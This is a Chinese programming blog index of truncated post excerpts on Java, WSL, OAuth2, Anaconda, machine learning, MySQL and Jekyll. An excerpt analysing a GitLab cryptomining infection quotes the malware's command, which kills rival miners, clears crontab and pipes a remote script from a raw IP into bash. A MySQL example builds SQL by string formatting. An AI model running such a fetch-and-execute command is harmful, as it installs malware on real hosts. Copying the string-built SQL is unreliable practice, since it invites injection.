vscode 远程调试javavscode是一款很好用的工具，可以基本替代大多数开发工具。但对不同的语言不同环境，并不是开箱即用。需要一定的配置。本文主要是记录java远程开发配置。vscode 配置vscode 的用户配置分3个级别，分别是默认配置、全局配置和工作区配置，优先级也依次递增。对于团队项目，一些规范可以通过项目目录下建一个.vscode/setting.json文件。vscode安装相关插件安装 microsoft的Extension Pack for JavaLanguage Support for Java(TM) by Red HatDebugger for JavaTest Runner for JavaMaven for JavaProject Manager for JavaVisual Studio IntelliCode安装 microsoft remote相关插件Remote DevelopmentRemote - SSH: Editing Configuration FilesRemote - SSHRemote - ContainersRemote - WSL编辑相关.ssh/configHost mysvr HostName 111.194.84.170 Port 2020 User zhh IdentityFi ...继续阅读 (14)

gitlab中挖矿病毒应对概述旧版gitlab可能中挖矿病毒表现为CPU超高大量的pkill进程gitlab时而可用时而不可用，经常502日志exitool具体表现cpu超高PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 368 git 20 0 2752356 2.290g 4380 S 146.8 29.4 37:35.80 kthzabor 943 git 20 0 1097568 558192 20912 S 1.3 6.8 3:10.94 bundle其中kthzabor 被感染。CPU达到100%以上。大量pkill进程root@i-fph8oxp3:~# ps -ef |grep pkill git 10913 32537 0 14:14 ? 00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash git 13814 2656 0 14:15 ? 00:00:00 ...继续阅读 (25)

概述本文讲述Swarm客户端Bee运行并挖矿的详细实操。作者：周海汉Swarm（蜂群） 为以太坊官方存储项目，目前已经独立出来。由以太坊三巨头Vitalik Buterin，Gavin Wood，Jeffrey Wilcke创建。 其目标是实现自主的内容网络存储和web3.0服务，并保护用户隐私。对应的币为BZZ。客户端程序叫Bee。本文在Centos 7.6下完成。ubuntu和MacOS可以适当修改相应命令。环境CentOS 7.6Bee-clef 用于bee客户端私钥和签名管理的程序Bee 客户端screen：保持远程命令行session的程序jq：json美化命令程序设置yum镜像设为阿里云[root@25 ~]# cd /etc/yum.repos.d/ [root@25 yum.repos.d]# curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo设置fedoral_epel解决部分包不存在的问题 如jq安装不了。[root@25 ~]# yum install -y jq No package jq available.cd /etc/pki/rpm-gpg wget https://archive.fedoraproject.org/pub/e ...继续阅读 (9)

安装go下载地址：https://golang.org/dl/go1.16.4.linux-amd64.tar.gz下载后上传到指定目录，解压，配环境变量。[root@3 down]# tar zxvf go1.16.4.linux-amd64.tar.gz [root@3 down]# mv go /usr/local/go [root@3 ~]# vi .bashrc export PATH=$PATH:/usr/local/go/bin [root@3 ~]# source .bashrc [root@3 ~]# go version go version go1.16.4 linux/amd64 [root@3 ~]# vi /etc/profileexportGOROOT=/usr/local/goexportGOPATH=/home/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin[root@3 ~]# mkdir -p /home/go/src /home/go/pkg /home/go/bin [root@3 ~]# source /etc/profile [root@3 ~]# go env ...写测试程序创建两个模块，一个greeting模块和一个主模块，在主模块调用greeting模块创建目录结构[root ...继续阅读 (13)

概述WSL是Windows Subsystem for Linux的简称。 windows 中直接使用linux？ 硬盘如何共享？程序如何共享？本文在windows的WSL2中安装好ubuntu20后，基本交互和使用的介绍。windows 访问 Ubuntu文件访问访问：Ubuntu root\\wsl$\Ubuntu个人目录：\\wsl$\Ubuntu\home\在windows terminal 设置中配置缺省进入目录"startingDirectory": "//wsl$/Ubuntu/home//"可以映射网络驱动器\\wsl$\Ubuntu从windows运行linux 命令wsl如wsl ls -laUbuntu访问Windows文件访问/mnt/c/Users/如果要访问C:\projects\code\cd ~ ln -s /mnt/c/projects/code/linux执行windows命令带上exe后缀。如从windows打开当前文件夹explorer.exe .编辑bashrcnotepad.exe ~/.bashrc用vscode打开目录：code ~/projects/mywebsitewsl 安装文件修改ubuntu镜像地址：# 先备份/etc/apt/sources.listcp/etc/apt/sources.list /etc/apt/sour ...继续阅读 (8)

OAuth2在授权登录时，OAuth2 用得比较广泛。本文详细描述了不同客户端用OAuth2标准获取用户授权的方式。名词解释参与角色客户端：第三方应用。需要从用账号中获取资源的应用。资源服务器：资源获取 API 提供者。授权服务器：提供同意或者拒绝用户授权的服务器。可以和资源服务器是同一或分离的服务器。用户：资源拥有者。其他第三方应用注册：向资源方注册app，一般提供名称，网站，logo和重定向URI。重定向URI：基于web的，必须用https协议避免授权时被拦截。原生APP一般注册一个自定义scheme，如demoapp://redirectClient ID和Secret：注册完成后返回一个Client ID和Secret。Client ID一般是公开的，可用于组成登录URL，或者放在javascript页面的脚本中。Secret则必须保密。对原生App或者单页js应用，不能用Secret。此类应用最好别生成secret。授权类型授权码（Authorization Code），支持web 服务器，基于浏览器App及原生APP。密码：登录时提供用户名和密码。仅用于同一家公司的不同app客户端证书（Client credentials），用于访问时不需要用户参与。静默授权。隐式（Implicit）：用于客户端没有密码的情况，已带PKCE的授权码取代。下面对具有Web Server ...继续阅读 (8)

Java 字符串参数格式化想设计一个模板, 直接将java的参数用进去。故整理一下java字符串参数格式化方法。格式标志SPECIFIER | APPLIES TO | OUTPUT –|–|– %a | floating point (except BigDecimal) | Hex output of floating point number %b | Any type | “true” if non-null, “false” if null %c | character | Unicode character %d | integer (incl. byte, short, int, long, bigint) | Decimal Integer %e | floating point | decimal number in scientific notation %f | floating point | decimal number %g | floating point | decimal number, possibly in scientific notation depending on the precision and value. %h | any type | Hex String of value from hashCode() method. % ...继续阅读 (8)

概述最近需要用到windows开发环境，所以记录一下windows下用vscode进行java开发的环境配置。环境Windows 10vscodejdk8jdk14maven 3.6.3下载jdkoracle 在jdk 11以后，商业化生产环境使用需要license。所以采用openjdk。最新的是14.但jdk8以后，版本号升级太快，大的更新较少。所以可以用长期支持版本jdk8或10.下载地址http://jdk.java.net/14/下载后解压到指定地方，我是放在home下的java目录。在桌面“此电脑”点右键，点开属性，找到环境变量。 在系统环境变量添加JAVA_HOMEC:\Users\ablo_\java\jdk-13.0.1CLASSPATH.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;Path 添加 ``` %JAVA_HOME%\bin %JAVA_HOME%\jre\bin## 下载maven http://maven.apache.org/download.cgi 最新版3.6.3 ### 环境变量 - Path 添加C:\Users\ablo_\java\apache-maven-3.6.3\bin### 配置maven镜像 由于境外很慢，所以配置阿里云maven镜像C:\Users\ablo_.m ...继续阅读 (8)

react native 概况React native 是facebook开源的移动框架。用JavaScript语言为主，基于React框架。 是适合跨平台移动开发的框架，具有比用webview混合开发更好的性能，又具有h5那样编写一次，跨平台运行的较低维护成本。而且可以和原生很好的结合。重要特性如下：支持 ES2015 ( ES6)ES2015 features如 import, from，class，extends，箭头函数JSX一般将代码嵌在xml里，但JSX反其道而行之。是将xml嵌在js里。Hello world!类似或是显示字符的[核心组件](https://reactnative.dev/docs/intro-react-native-components) ## 组件 （Components） 屏幕上见到的都是组件。App是组件。组件非常基础，只需要一个render函数，返回jsx渲染。 下面对相关细节进行详细介绍。 # 属性 Props 所有组件可以被不同参数初始化，这些参数叫props，即Properties的简写。 如创建组件Image，可以使用source属性来决定显示的内容。 ``` import React, { Component } from 'react'; import { Image } from 'react- ...继续阅读 (8)

应该是连接网络更新版本信息需要到外网，所以很慢。一是修改配置 采用清华镜像vi ~/.condarcssl_verify: false show_channel_urls: true channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ - defaults default_channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r custom_channels: conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud menpo: https://mir ...继续阅读 (7)

感知器的两种实现方式1. 每一行样本循环进行处理(Stochastic Gradient Descent, SGD)随机梯度下降,对每一行样本, 计算其参数w, 一次迭代全部样本.并在处理每个样本时逐步调整参数w. 这种方式最自然, 但参数会有反复.效率最低.# perceptron 感知器# 周海汉 2017.5.21importnumpyasnp# 感知器classPerceptron:'''感知器 y=f(x*w+b),x为输入,w为权重,b为偏置量,f为激活函数, 一般有sigmoid,relu,sgn,tanh'''def__init__(self,eta,n_iter):''' eta: 迭代率 n_iter: 迭代次数 '''self.eta=etaself.n_iter=n_iterdeffit(self,x,y):''' x: 训练数据,二维数组.[sample,feature], sample表示训练用数据数目, feature表示特征数 y: 目标结果标签数据,一维向量. [label], 长度和samples值一样 w: 权重向量, [weight] , 包含偏置量w0, 长度为feature值+1 errors: 记录迭代错误 ' ...继续阅读 (1)

概述mnist 是纽约大学lecun教授基于nist数据集准备的一个60000张手写数字, 经常用于机器学习等练习用数据.MNIST数据集由手写的数字的图像组成，它分为了60,000训练数据和10,000个测试数据。有人加工过的nist.pkl.gz里面，官方的训练数据又进一步的分成50,000的训练数据和10,000的验证数据，以便于模型参数的选择。所有的图像都做了规范化的处理，每个图像的大小都是2828.在原始数据中，图像的像素存成常用的灰度图（灰度区间0~255）。 为了方便在python中调用改数据集，我们对其进行了序列化。序列化后的文件包括三个list，训练数据，验证数据和测试数据。list中的每一个元素都是由图像和相应的标注组成的。其中图像是一个784维（2828）的numpy数组，标注则是一个0-9之间的数字。下面的代码演示了如何使用这个数据集。基于mnist.pkl.gz,在python2中处理如下importcPickle,gzip,numpy# Load the datasetf=gzip.open('mnist.pkl.gz','rb')train_set,valid_set,test_set=cPickle.load(f)f.close()在python3中处理会出错,因为python3 已经不支持cPickle. 处理方式如下:importgzipimpo ...继续阅读 (15)

概述mnist 是纽约大学lecun教授基于nist数据集准备的一个60000张手写数字, 经常用于机器学习等练习用数据.MNIST数据集由手写的数字的图像组成，它分为了60,000训练数据和10,000个测试数据。有人加工过的nist.pkl.gz里面，官方的训练数据又进一步的分成50,000的训练数据和10,000的验证数据，以便于模型参数的选择。所有的图像都做了规范化的处理，每个图像的大小都是2828.在原始数据中，图像的像素存成常用的灰度图（灰度区间0~255）。 为了方便在python中调用改数据集，我们对其进行了序列化。序列化后的文件包括三个list，训练数据，验证数据和测试数据。list中的每一个元素都是由图像和相应的标注组成的。其中图像是一个784维（2828）的numpy数组，标注则是一个0-9之间的数字。下面的代码演示了如何使用这个数据集。基于mnist.pkl.gz,在python2中处理如下importcPickle,gzip,numpy# Load the datasetf=gzip.open('mnist.pkl.gz','rb')train_set,valid_set,test_set=cPickle.load(f)f.close()在python3中处理会出错,因为python3 已经不支持cPickle. 处理方式如下:importgzipimpo ...继续阅读 (1)

分词代码# -*- coding:utf-8 -*-#简单的支持中文的正向最大匹配的机械分词importstring__dict={}defload_dict(dict_file='words.dic'):#加载词库，把词库加载成一个key为首字符，value为相关词的列表的字典words=[line.split()forlineinopen(dict_file)]forwordinwords:first_char=word[0][0]__dict.setdefault(first_char,[])__dict[first_char].append(word[0])#按词的长度倒序排列forfirst_char,twordsin__dict.items():__dict[first_char]=sorted(twords,key=lambdax:len(x),reverse=True)def__match_ascii(i,input):#返回连续的英文字母，数字，符号, 对英文,字母,符号不处理result=''foriinrange(i,len(input)):ifinput[i]instring.printable:# and input[i] not in string.whitespace: #string.ascii_letters or input[i] in stri ...继续阅读 (11)

问题描述两台mac book pro,一台安装完后执行ipython没有任何错误. 一台却报如下错误:UnknownBackendzhouhh@/Users/zhouhh $ ipython Python 3.6.0 |Anaconda custom (x86_64)| (default, Dec 23 2016, 13:19:00) Type "copyright", "credits" or "license" for more information. IPython 5.1.0 -- An enhanced Interactive Python. ? -> Introduction and overview of IPython's features. %quickref -> Quick reference. help -> Python's own help system. object? -> Details about 'object', use 'object??' for extra details. [TerminalIPythonApp] WARNING | GUI event loop or pylab initialization failed --------------------------------------- ...继续阅读 (10)

概述上一篇“在linux上安装机器学习开发环境”文章演示了在centos下设置机器学习环境. 本篇讨论如何在mac下配置相关环境.下载AnacondaAnaconda介绍在上篇中有, 在此不再重复. Anaconda 安装包可以到 https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ 下载。我下载的是4.3.1zhh@zmac ~ $ wget -c https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-4.3.1-MacOSX-x86_64.shwget -c 参数支持断点续传安装Anacondazhh@zmac ~ $ bash Anaconda3-4.3.1-MacOSX-x86_64.sh Welcome to Anaconda3 4.3.1 (by Continuum Analytics, Inc.) In order to continue the installation process, please review the license agreement. Please, press ENTER to continue >>> ... [/Users/zhh/anaconda3] >>> PREFIX=/Users/zhh/ana ...继续阅读 (5)

下载AnocondaAnaconda 是一个用于科学计算的 Python 发行版，支持 Linux, Mac, Windows, 包含了众多流行的科学计算、数据分析的 Python 包。Anaconda 具有比pip包管理更强大的能力,不仅管理python 包的依赖,也同时管理其他非python的依赖,所以有逐渐取代pip的趋势. 同时, Anaconda还有virtual envi等功能, 可以创建虚拟环境.Anaconda 安装包可以到 https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ 下载。TUNA 还提供了 Anaconda 仓库的镜像，运行以下命令:conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config –set show_channel_urls yes 即可添加 Anaconda Python 免费仓库。Conda 三方源 当前tuna还维护了一些anaconda三方源。配置Conda Forge conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-for ...继续阅读 (7)

安装流程安装python3.6可能使用的依赖下载解压安装包编译安装[zhouhh@mainServer ~]$ cat /etc/redhat-release CentOS Linux release 7.1.1503 (Core) [zhouhh@mainServer ~]$ sudo yum install openssl-devel bzip2-devel expat-devel gdbm-devel readline-devel sqlite-devel [zhouhh@mainServer ~]$ wget https://www.python.org/ftp/python/3.6.0/Python-3.6.0.tgz [zhouhh@mainServer ~]$ tar zxvf Python-3.6.0.tgz [zhouhh@mainServer ~]$ cd Python-3.6.0/ [zhouhh@mainServer Python-3.6.0]$ ./configure --prefix=/usr/local --enable-optimizations [zhouhh@mainServer Python-3.6.0]$ make [zhouhh@mainServer Python-3.6.0]$ sudo make altinstall [zhou ...继续阅读 (12)

Keras 是古希腊语中”角”的意思, 最早出现在古希腊的《奥德赛》. 梦神被分为两派. 一派用虚假景象欺骗人们,他们通过象牙之门来到地面. 一派启示即将经历的未来, 他们通过角之门来到地面.Keras刚开始是开放终端神经电子智能机器人操作系统ONEIROS (Open-ended Neuro-Electronic Intelligent Robot Operating System)项目的一部分。依赖numpyscipyyamlHDF5 和 h5py (可选, 如果使用模型保存加载需要）CNNs: cuDNN，可选，推荐TensorFlow 可选，如果采用Tensorflow 后端需要Theano 如果采用Theano后端需要安装如果下载源码，可以运行sudo python setup.py install也可以用pip 安装[zhouhh@mainServer ~]$ wget https://pypi.doubanio.com/packages/11/b6/abcb525026a4be042b486df43905d6893fb04f05aac21c32c638e939e447/pip-9.0.1.tar.gz#md5=35f01da33009719497f01a4ba69d63c9 [zhouhh@mainServer ~]$ tar zxvf pip-9.0.1.tar.g ...继续阅读 (13)

PCA的数学原理作者 张洋 | 发布于 2013-06-22 机器学习 线性代数 PCAPCA（Principal Component Analysis）是一种常用的数据分析方法。PCA通过线性变换将原始数据变换为一组各维度线性无关的表示，可用于提取数据的主要特征分量，常用于高维数据的降维。网上关于PCA的文章有很多，但是大多数只描述了PCA的分析过程，而没有讲述其中的原理。这篇文章的目的是介绍PCA的基本数学原理，帮助读者了解PCA的工作机制是什么。当然我并不打算把文章写成纯数学文章，而是希望用直观和易懂的方式叙述PCA的数学原理，所以整个文章不会引入严格的数学推导。希望读者在看完这篇文章后能更好的明白PCA的工作原理。数据的向量表示及降维问题一般情况下，在数据挖掘和机器学习中，数据被表示为向量。例如某个淘宝店2012年全年的流量及交易情况可以看成一组记录的集合，其中每一天的数据是一条记录，格式如下：(日期, 浏览量, 访客数, 下单数, 成交数, 成交金额)其中“日期”是一个记录标志而非度量值，而数据挖掘关心的大多是度量值，因此如果我们忽略日期这个字段后，我们得到一组记录，每条记录可以被表示为一个五维向量，其中一条看起来大约是这个样子：\[(500,240,25,13,2312.15)^\mathsf{T}\]注意这里我用了转置，因为习惯上使用列向量表示一条记录（后面会看到原因 ...继续阅读 (29)

1.1 曲线拟合用下式来拟合数据.y(x,\mathbb{w}) = w_0 + w_1x + w_2x^2 +... + w_Mx^M = \sum_{j=0}^{M}w_jx^j其中M是多项式的阶数（order），$x^j$表⽰x的j次幂。多项式系数$w_0...w_M$整体记作向量w。 注意，虽然多项式函数$y(x,w)$是x的⼀个⾮线性函数，它是系数w的⼀个线性函数。类似多项式 函数的这种关于未知参数满⾜线性关系的函数有着重要的性质，被叫做线性模型过拟合 当我们达到更⾼阶的多项式（M = 9），我们得到了对于训练数据的⼀个完美的拟 合。事实上，多项式函数精确地通过了每⼀个数据点，$E(w) = 0$。然⽽，拟合的曲线剧烈震 荡，就表达函数$sin(2\pi x)$⽽⾔表现很差。这种⾏为叫做过拟合（over-fitting）。1.2 概率论图1.9我们有两个盒⼦，⼀个红⾊的，⼀个蓝⾊的，红盒⼦中有2个苹果和6个橘⼦，蓝盒⼦中有3个苹果和1个橘⼦（如图1.9所⽰）。现在假定我们随机选择⼀个盒⼦，从这个盒⼦中我们随机选择⼀个⽔果，观察⼀下选择了哪种⽔果，然后放回盒⼦中。假设我们重复这个过程很多次。假设我们在40%的时间中选择红盒⼦， 在60%的时间中选择蓝盒⼦，并且我们选择盒⼦中的⽔果时是等可能选择的。 在这个例⼦中，我们要选择的盒⼦的颜⾊是⼀个随机变量，记作B。这个随机变量可以 ...继续阅读 (8)

1.1 曲线拟合用下式来拟合数据.其中M是多项式的阶数（order），$x^j$表⽰x的j次幂。多项式系数$w_0…w_M$整体记作向量w。 注意，虽然多项式函数$y(x,w)$是x的⼀个⾮线性函数，它是系数w的⼀个线性函数。类似多项式 函数的这种关于未知参数满⾜线性关系的函数有着重要的性质，被叫做线性模型过拟合 当我们达到更⾼阶的多项式（M = 9），我们得到了对于训练数据的⼀个完美的拟 合。事实上，多项式函数精确地通过了每⼀个数据点，$E(w) = 0$。然⽽，拟合的曲线剧烈震 荡，就表达函数$sin(2\pi x)$⽽⾔表现很差。这种⾏为叫做过拟合（over-fitting）。1.2 概率论图1.9我们有两个盒⼦，⼀个红⾊的，⼀个蓝⾊的，红盒⼦中有2个苹果和6个橘⼦，蓝盒⼦中有3个苹果和1个橘⼦（如图1.9所⽰）。现在假定我们随机选择⼀个盒⼦，从这个盒⼦中我们随机选择⼀个⽔果，观察⼀下选择了哪种⽔果，然后放回盒⼦中。假设我们重复这个过程很多次。假设我们在40%的时间中选择红盒⼦， 在60%的时间中选择蓝盒⼦，并且我们选择盒⼦中的⽔果时是等可能选择的。 在这个例⼦中，我们要选择的盒⼦的颜⾊是⼀个随机变量，记作B。这个随机变量可以取两个值中的⼀个，即r（对应红盒⼦）或b（对应蓝盒⼦）。类似地，⽔果的种类也是⼀个随机变量，记作F。它可以取a（苹果）或者o（橘⼦）.开始阶段，我们把⼀ ...继续阅读 (16)

书籍标题中章节号js正则去除周海汉http://abloz.com2017.3.4书籍中的章节, 经常会有序号. 但有时需要在前端展示时将其隐去. 如”第一篇 开天辟地”, 执行后只剩下”开天辟地”本文主要是用js在前端隐藏序号, 避免直接编辑源文件. 来源:http://abloz.com章节序号有如下千奇百怪的形式:第一篇 第一章 第一节一、（一）1、1） （1）utf8字符 ① ②⑴⑵ ⒈⒉“1.” 1.1 1.1.1 1.1.1.1罗马数字：Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ Ⅷ Ⅸ Ⅹ Ⅺ Ⅻ ⅰ ⅱ ⅳ ⅴ ⅵ ⅶ ⅷ ⅸ ⅹ测试第x篇章节采用String的replace正则处理a="第十一节 标题"a.replace(/第.*\/i,"")a.replace(/第.*[篇|章|节|页]\*/i,"")varstr1="第十一节 标题"varpatt="^第.*[篇|章|节|页]\ *|^.*[、|）|\)]\ *"varreg=newRegExp(patt,"i");str1.replace(reg,"")//标题reg.test(str1)//truereg.exec(str1)//["第十一节 "]str1.match(reg)//["第十一节 "]改写成原型函数改写成String原型函数,简化调用String.prototype.rmChapN ...继续阅读 (15)

书籍标题中章节号js正则去除周海汉http://abloz.com2017.3.4书籍中的章节, 经常会有序号. 但有时需要在前端展示时将其隐去. 如”第一篇 开天辟地”, 执行后只剩下”开天辟地”本文主要是用js在前端隐藏序号, 避免直接编辑源文件. 来源:http://abloz.com章节序号有如下千奇百怪的形式:第一篇 第一章 第一节一、（一）1、1） （1）utf8字符 ① ②⑴⑵ ⒈⒉“1.” 1.1 1.1.1 1.1.1.1罗马数字：Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ Ⅷ Ⅸ Ⅹ Ⅺ Ⅻ ⅰ ⅱ ⅳ ⅴ ⅵ ⅶ ⅷ ⅸ ⅹ测试第x篇章节采用String的replace正则处理a="第十一节 标题"a.replace(/第.*\/i,"")a.replace(/第.*[篇|章|节|页]\*/i,"")varstr1="第十一节 标题"varpatt="^第.*[篇|章|节|页]\ *|^.*[、|）|\)]\ *"varreg=newRegExp(patt,"i");str1.replace(reg,"")//标题reg.test(str1)//truereg.exec(str1)//["第十一节 "]str1.match(reg)//["第十一节 "]改写成原型函数改写成String原型函数,简化调用String.prototype.rmChapN ...继续阅读 (12)

图片下载失败网址:http://news.xinhuanet.com/politics/2017-03/01/c_1120551648.htmcurl http://news.xinhuanet.com/politics/2017-03/01/1120551648_14883580941071n.gif -o c.gif curl --head http://news.xinhuanet.com/politics/2017-03/01/1120551648_14883580941071n.gif HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Accept-Ranges: bytes Content-Length: 171418 Date: Wed, 01 Mar 2017 09:51:47 GMT Content-Type: image/gif Expires: Wed, 01 Mar 2017 10:51:47 GMT Last-Modified: Wed, 01 Mar 2017 09:56:08 GMT ETag: W/"58b69ab8-2a5a5"Powered-By-ChinaCache: HIT from 010104b3W6.4 Age: 57239 Powered-By-ChinaCac ...继续阅读 (13)

图片下载失败网址:http://news.xinhuanet.com/politics/2017-03/01/c_1120551648.htmcurl http://news.xinhuanet.com/politics/2017-03/01/1120551648_14883580941071n.gif -o c.gif curl --head http://news.xinhuanet.com/politics/2017-03/01/1120551648_14883580941071n.gif HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Accept-Ranges: bytes Content-Length: 171418 Date: Wed, 01 Mar 2017 09:51:47 GMT Content-Type: image/gif Expires: Wed, 01 Mar 2017 10:51:47 GMT Last-Modified: Wed, 01 Mar 2017 09:56:08 GMT ETag: W/"58b69ab8-2a5a5"Powered-By-ChinaCache: HIT from 010104b3W6.4 Age: 57239 Powered-By-ChinaCac ...继续阅读 (13)

问题在将一些emoji表情符号入库时, 发现utf8的表插入会失败. mysql5.6以上支持utf8mb4的扩展, 必须配置相应的扩展, 并且客户端python程序采用最新的pymysql,设置charset=’utf8mb4’才可以正确插入. 采用MySqlDB则不能解决该中文乱码问题. 创建库的缺省编码指定utf8mb4CREATEDATABASE`data_v1`DEFAULTCHARACTERSETutf8mb4# coding:utf8# author:zhh# 2017.2.28# 以前写的一个插入utf8mb4扩展解决表情符等乱码问题importpymysqldefgetConn():conn=pymysql.connect(host='10.43.4.148',port=3306,user='myuser',passwd='pwd',charset='utf8mb4',db='data_v1')returnconndefinsert(conn):cur=conn.cursor()mystr="zhh2爱我的请举手🙋，爱我的请举手..."sql="insert into news_content_new (content) values('%s')"%mystrcur.execute(sql)conn.commit()cur.close()conn.close()i ...继续阅读 (23)

问题在将一些emoji表情符号入库时, 发现utf8的表插入会失败. mysql5.6以上支持utf8mb4的扩展, 必须配置相应的扩展, 并且客户端python程序采用最新的pymysql,设置charset=’utf8mb4’才可以正确插入. 采用MySqlDB则不能解决该中文乱码问题. 创建库的缺省编码指定utf8mb4CREATEDATABASE`data_v1`DEFAULTCHARACTERSETutf8mb4# coding:utf8# author:zhh# 2017.2.28# 以前写的一个插入utf8mb4扩展解决表情符等乱码问题importpymysqldefgetConn():conn=pymysql.connect(host='10.43.4.148',port=3306,user='myuser',passwd='pwd',charset='utf8mb4',db='data_v1')returnconndefinsert(conn):cur=conn.cursor()mystr="zhh2爱我的请举手🙋，爱我的请举手..."sql="insert into news_content_new (content) values('%s')"%mystrcur.execute(sql)conn.commit()cur.close()conn.close()i ...继续阅读 (24)

安装 jekyllsudo gem install jekyll➜ ~ jekyll –version jekyll 3.4.0安装 bundler. 它是管理其他gem兼容性的. ➜ ~ sudo gem install bundler ERROR: While executing gem … (Errno::EPERM) Operation not permitted - /usr/bin/bundlevi .zshrcexport GEM_HOME=$HOME/ruby export PATH=$PATH:$GEM_HOME/bingem install bundler jekyll new blog ➜ blog ls Gemfile Gemfile.lock _config.yml _posts _site about.md index.md ➜ blog jekyll serve修改theme ➜ blog bundle show minima /Users/zhouhh/ruby/gems/minima-2.1.0静态html页面,直接在跟目录下创建html文件或者创建子目录,下面存放html文件.使用原始html页面theme定制wordpress导入导入工具gem install jekyll-im ...继续阅读 (26)

安装 jekyllsudo gem install jekyll➜ ~ jekyll –version jekyll 3.4.0安装 bundler. 它是管理其他gem兼容性的. ➜ ~ sudo gem install bundler ERROR: While executing gem … (Errno::EPERM) Operation not permitted - /usr/bin/bundlevi .zshrcexport GEM_HOME=$HOME/ruby export PATH=$PATH:$GEM_HOME/bingem install bundler jekyll new blog ➜ blog ls Gemfile Gemfile.lock _config.yml _posts _site about.md index.md ➜ blog jekyll serve修改theme ➜ blog bundle show minima /Users/zhouhh/ruby/gems/minima-2.1.0静态html页面,直接在跟目录下创建html文件或者创建子目录,下面存放html文件.使用原始html页面theme定制wordpress导入导入工具gem install jekyll-im ...继续阅读 (20)